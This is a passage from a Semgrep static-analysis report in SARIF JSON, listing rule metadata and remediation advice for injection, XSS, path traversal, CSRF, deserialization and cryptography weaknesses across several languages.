[https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid if possible to use it to construct the NoSQL statement."},"helpUri":"https://semgrep.dev/r/java.servlets.security.nosql-injection-servlets.nosql-injection-servlets","id":"java.servlets.security.nosql-injection-servlets.nosql-injection-servlets","name":"java.servlets.security.nosql-injection-servlets.nosql-injection-servlets","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.nosql-injection-servlets.nosql-injection-servlets"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure EMR is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure EMR is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-emr-encrypted-with-cmk.aws-emr-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure EMR is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-emr-encrypted-with-cmk.aws-emr-encrypted-with-cmk","id":"terraform.aws.security.aws-emr-encrypted-with-cmk.aws-emr-encrypted-with-cmk","name":"terraform.aws.security.aws-emr-encrypted-with-cmk.aws-emr-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-emr-encrypted-with-cmk.aws-emr-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found direct access to a PHP variable wihout HTML escaping inside an inline PHP statement setting data from `$_REQUEST[...]`. When untrusted input can be used to tamper with a web page rendering, it can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. In PHP you can encode or sanitize user input with `htmlspecialchars` or use automatic context-aware escaping with a template engine such as Latte."},"help":{"markdown":"Found direct access to a PHP variable wihout HTML escaping inside an inline PHP statement setting data from `$_REQUEST[...]`. When untrusted input can be used to tamper with a web page rendering, it can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. In PHP you can encode or sanitize user input with `htmlspecialchars` or use automatic context-aware escaping with a template engine such as Latte.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.taint-unsafe-echo-tag.taint-unsafe-echo-tag)\n - [https://www.php.net/manual/en/language.basic-syntax.phptags.php](https://www.php.net/manual/en/language.basic-syntax.phptags.php)\n","text":"Found direct access to a PHP variable wihout HTML escaping inside an inline PHP statement setting data from `$_REQUEST[...]`. When untrusted input can be used to tamper with a web page rendering, it can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. In PHP you can encode or sanitize user input with `htmlspecialchars` or use automatic context-aware escaping with a template engine such as Latte."},"helpUri":"https://semgrep.dev/r/php.lang.security.taint-unsafe-echo-tag.taint-unsafe-echo-tag","id":"php.lang.security.taint-unsafe-echo-tag.taint-unsafe-echo-tag","name":"php.lang.security.taint-unsafe-echo-tag.taint-unsafe-echo-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.taint-unsafe-echo-tag.taint-unsafe-echo-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"$type extension has the potential to be unsafe, so use it with common sense and known json sources and not public facing ones to be safe"},"help":{"markdown":"$type extension has the potential to be unsafe, so use it with common sense and known json sources and not public facing ones to be safe\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.fast-json.insecure-fastjson-deserialization)\n - [https://github.com/mgholam/fastJSON#security-warning-update](https://github.com/mgholam/fastJSON#security-warning-update)\n","text":"$type extension has the potential to be unsafe, so use it with common sense and known json sources and not public facing ones to be safe"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.fast-json.insecure-fastjson-deserialization","id":"csharp.lang.security.insecure-deserialization.fast-json.insecure-fastjson-deserialization","name":"csharp.lang.security.insecure-deserialization.fast-json.insecure-fastjson-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.fast-json.insecure-fastjson-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found 'importlib.resources', which is a module only available on Python 3.7+. This does not work in lower versions, and therefore is not backwards compatible. Use importlib_resources instead for older Python versions."},"help":{"markdown":"Found 'importlib.resources', which is a module only available on Python 3.7+. This does not work in lower versions, and therefore is not backwards compatible. Use importlib_resources instead for older Python versions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-importlib2)\n","text":"Found 'importlib.resources', which is a module only available on Python 3.7+. This does not work in lower versions, and therefore is not backwards compatible. Use importlib_resources instead for older Python versions."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-importlib2","id":"python.lang.compatibility.python37.python37-compatibility-importlib2","name":"python.lang.compatibility.python37.python37-compatibility-importlib2","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-importlib2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"SSL verification disabled, this allows for MitM attacks"},"help":{"markdown":"SSL verification disabled, this allows for MitM attacks\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.lang.security.ssl-verify-none.ssl-verify-none)\n - [https://docs.rs/openssl/latest/openssl/ssl/struct.SslContextBuilder.html#method.set_verify](https://docs.rs/openssl/latest/openssl/ssl/struct.SslContextBuilder.html#method.set_verify)\n","text":"SSL verification disabled, this allows for MitM attacks"},"helpUri":"https://semgrep.dev/r/rust.lang.security.ssl-verify-none.ssl-verify-none","id":"rust.lang.security.ssl-verify-none.ssl-verify-none","name":"rust.lang.security.ssl-verify-none.ssl-verify-none","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: rust.lang.security.ssl-verify-none.ssl-verify-none"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The code must not contain any of Unicode Direction Control Characters"},"help":{"markdown":"The code must not contain any of Unicode Direction Control Characters\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.no-bidi-characters.no-bidi-characters)\n - [https://entethalliance.org/specs/ethtrust-sl/v1/#req-1-unicode-bdo](https://entethalliance.org/specs/ethtrust-sl/v1/#req-1-unicode-bdo)\n","text":"The code must not contain any of Unicode Direction Control Characters"},"helpUri":"https://semgrep.dev/r/solidity.security.no-bidi-characters.no-bidi-characters","id":"solidity.security.no-bidi-characters.no-bidi-characters","name":"solidity.security.no-bidi-characters.no-bidi-characters","properties":{"precision":"very-high","tags":["CWE-837: Improper Enforcement of a Single, Unique Action","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.no-bidi-characters.no-bidi-characters"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-default.tainted-os-command-stdlib-fastapi-secure-default)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module](https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"helpUri":"https://semgrep.dev/r/python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-default.tainted-os-command-stdlib-fastapi-secure-default","id":"python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-default.tainted-os-command-stdlib-fastapi-secure-default","name":"python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-default.tainted-os-command-stdlib-fastapi-secure-default","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-default.tainted-os-command-stdlib-fastapi-secure-default"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Ensure your variables are not controlled by users or sufficiently sanitized."},"help":{"markdown":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Ensure your variables are not controlled by users or sufficiently sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.dangerous-shell-run.dangerous-shell-run)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found dynamic content used for the external process. This is dangerous if arbitrary data can reach this function call because it allows a malicious actor to execute commands. Ensure your variables are not controlled by users or sufficiently sanitized."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.dangerous-shell-run.dangerous-shell-run","id":"scala.lang.security.audit.dangerous-shell-run.dangerous-shell-run","name":"scala.lang.security.audit.dangerous-shell-run.dangerous-shell-run","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.dangerous-shell-run.dangerous-shell-run"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input going into a php include or require command, which can lead to path traversal and sensitive data being exposed. These commands can also lead to code execution. Instead, allowlist files that the user can access or rigorously validate user input."},"help":{"markdown":"Detected user input going into a php include or require command, which can lead to path traversal and sensitive data being exposed. These commands can also lead to code execution. Instead, allowlist files that the user can access or rigorously validate user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-path-traversal.tainted-path-traversal)\n - [https://medium.com/@emmapinheiro42/php-include-ignore-4a3ba81371af](https://medium.com/@emmapinheiro42/php-include-ignore-4a3ba81371af)\n - [https://www.acunetix.com/websitesecurity/php-security-2/](https://www.acunetix.com/websitesecurity/php-security-2/)\n","text":"Detected user input going into a php include or require command, which can lead to path traversal and sensitive data being exposed. These commands can also lead to code execution. Instead, allowlist files that the user can access or rigorously validate user input."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-path-traversal.tainted-path-traversal","id":"php.lang.security.tainted-path-traversal.tainted-path-traversal","name":"php.lang.security.tainted-path-traversal.tainted-path-traversal","properties":{"precision":"very-high","tags":["CWE-23: Relative Path Traversal","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-path-traversal.tainted-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cryptographic algorithms are notoriously difficult to get right. By implementing a custom message digest, you risk introducing security issues into your program. Use one of the many sound message digests already available to you: MessageDigest sha256Digest = MessageDigest.getInstance(\"SHA256\");"},"help":{"markdown":"Cryptographic algorithms are notoriously difficult to get right. By implementing a custom message digest, you risk introducing security issues into your program. Use one of the many sound message digests already available to you: MessageDigest sha256Digest = MessageDigest.getInstance(\"SHA256\");\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.avoid-implementing-custom-digests.avoid-implementing-custom-digests)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#custom-algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#custom-algorithms)\n","text":"Cryptographic algorithms are notoriously difficult to get right. By implementing a custom message digest, you risk introducing security issues into your program. Use one of the many sound message digests already available to you: MessageDigest sha256Digest = MessageDigest.getInstance(\"SHA256\");"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.avoid-implementing-custom-digests.avoid-implementing-custom-digests","id":"java.lang.security.audit.crypto.ssl.avoid-implementing-custom-digests.avoid-implementing-custom-digests","name":"java.lang.security.audit.crypto.ssl.avoid-implementing-custom-digests.avoid-implementing-custom-digests","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.ssl.avoid-implementing-custom-digests.avoid-implementing-custom-digests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'html_safe()' does not make the supplied string safe. 'html_safe()' bypasses HTML escaping. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Ensure no external data reaches here."},"help":{"markdown":"'html_safe()' does not make the supplied string safe. 'html_safe()' bypasses HTML escaping. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Ensure no external data reaches here.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-html-safe.avoid-html-safe)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/cross_site_scripting/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/cross_site_scripting/index.markdown)\n - [https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/](https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/)\n","text":"'html_safe()' does not make the supplied string safe. 'html_safe()' bypasses HTML escaping. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Ensure no external data reaches here."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-html-safe.avoid-html-safe","id":"ruby.rails.security.audit.xss.avoid-html-safe.avoid-html-safe","name":"ruby.rails.security.audit.xss.avoid-html-safe.avoid-html-safe","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-html-safe.avoid-html-safe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.csrf.gorilla-csrf.go-net-http-route-without-gorilla-csrf-protection.go-net-http-route-without-gorilla-csrf-protection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/gorilla/csrf](https://github.com/gorilla/csrf)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"helpUri":"https://semgrep.dev/r/go.net.csrf.gorilla-csrf.go-net-http-route-without-gorilla-csrf-protection.go-net-http-route-without-gorilla-csrf-protection","id":"go.net.csrf.gorilla-csrf.go-net-http-route-without-gorilla-csrf-protection.go-net-http-route-without-gorilla-csrf-protection","name":"go.net.csrf.gorilla-csrf.go-net-http-route-without-gorilla-csrf-protection.go-net-http-route-without-gorilla-csrf-protection","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.csrf.gorilla-csrf.go-net-http-route-without-gorilla-csrf-protection.go-net-http-route-without-gorilla-csrf-protection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-path-traversal-toml-django.tainted-path-traversal-toml-django)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-path-traversal-toml-django.tainted-path-traversal-toml-django","id":"python.django.file.tainted-path-traversal-toml-django.tainted-path-traversal-toml-django","name":"python.django.file.tainted-path-traversal-toml-django.tainted-path-traversal-toml-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-path-traversal-toml-django.tainted-path-traversal-toml-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.spring-sqli-deepsemgrep.spring-sqli-deepsemgrep)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.spring.security.spring-sqli-deepsemgrep.spring-sqli-deepsemgrep","id":"java.spring.security.spring-sqli-deepsemgrep.spring-sqli-deepsemgrep","name":"java.spring.security.spring-sqli-deepsemgrep.spring-sqli-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.spring-sqli-deepsemgrep.spring-sqli-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user data flowing into exec. This is code injection and should be avoided."},"help":{"markdown":"Detected user data flowing into exec. This is code injection and should be avoided.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.user-exec.exec-injection)\n - [https://nedbatchelder.com/blog/201206/exec_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/exec_really_is_dangerous.html)\n","text":"Detected user data flowing into exec. This is code injection and should be avoided."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.user-exec.exec-injection","id":"python.flask.security.injection.user-exec.exec-injection","name":"python.flask.security.injection.user-exec.exec-injection","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.user-exec.exec-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests to http (unencrypted) sites using grequests, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network."},"help":{"markdown":"Checks for requests to http (unencrypted) sites using grequests, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.grequests-http-request.grequests-http-request)\n - [https://godoc.org/github.com/levigross/grequests#DoRegularRequest](https://godoc.org/github.com/levigross/grequests#DoRegularRequest)\n - [https://github.com/levigross/grequests](https://github.com/levigross/grequests)\n","text":"Checks for requests to http (unencrypted) sites using grequests, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.grequests-http-request.grequests-http-request","id":"problem-based-packs.insecure-transport.go-stdlib.grequests-http-request.grequests-http-request","name":"problem-based-packs.insecure-transport.go-stdlib.grequests-http-request.grequests-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.grequests-http-request.grequests-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.sql.sqlx-taint.sqlx-taint)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer 